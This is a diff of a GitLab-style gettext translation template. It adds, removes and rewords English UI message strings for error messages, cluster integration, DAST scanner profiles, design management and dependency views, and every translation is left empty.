@@ -2620,6 +2692,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2692,9 +2767,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2836,13 +2920,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2869,12 +2956,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2953,6 +3046,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3172,6 +3268,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3184,6 +3283,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3199,9 +3301,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3310,7 +3409,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3322,9 +3421,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3337,6 +3433,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3598,7 +3697,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3676,6 +3775,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3802,7 +3904,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3916,6 +4018,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3985,13 +4090,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4186,6 +4294,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4360,6 +4471,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4393,10 +4507,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4417,7 +4531,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4603,9 +4717,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4831,7 +4942,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4999,9 +5110,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5107,6 +5224,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5140,19 +5260,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5200,13 +5326,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5224,6 +5353,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5263,15 +5395,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5296,6 +5425,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5479,9 +5611,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5677,7 +5806,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5896,12 +6025,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5941,15 +6073,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5974,6 +6118,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5989,9 +6136,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6022,7 +6166,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6199,6 +6343,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6400,7 +6550,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6856,9 +7006,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6943,6 +7090,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6955,6 +7105,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6979,15 +7132,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7018,6 +7177,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7033,6 +7195,12 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Create"
msgstr ""
@@ -7123,6 +7291,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7159,6 +7330,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7183,6 +7357,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7354,6 +7531,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7450,6 +7630,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7615,6 +7804,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7645,25 +7837,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7672,7 +7894,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7684,6 +7915,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7693,12 +7927,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7771,7 +8062,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7849,10 +8140,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7909,6 +8200,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7930,15 +8224,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7948,6 +8251,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7975,6 +8281,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7984,6 +8296,9 @@ msgstr[2] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7996,6 +8311,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8014,6 +8332,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8053,8 +8374,8 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8101,7 +8422,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8335,13 +8656,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8374,15 +8704,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8464,7 +8785,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8473,6 +8797,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8485,7 +8812,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8590,9 +8920,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8608,7 +8935,7 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8860,9 +9187,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9151,9 +9475,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9322,6 +9643,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9346,7 +9670,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9625,6 +9949,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9952,7 +10279,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9973,6 +10300,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9982,9 +10312,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9997,9 +10324,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10009,9 +10333,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10024,9 +10345,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10459,12 +10777,18 @@ msgstr ""
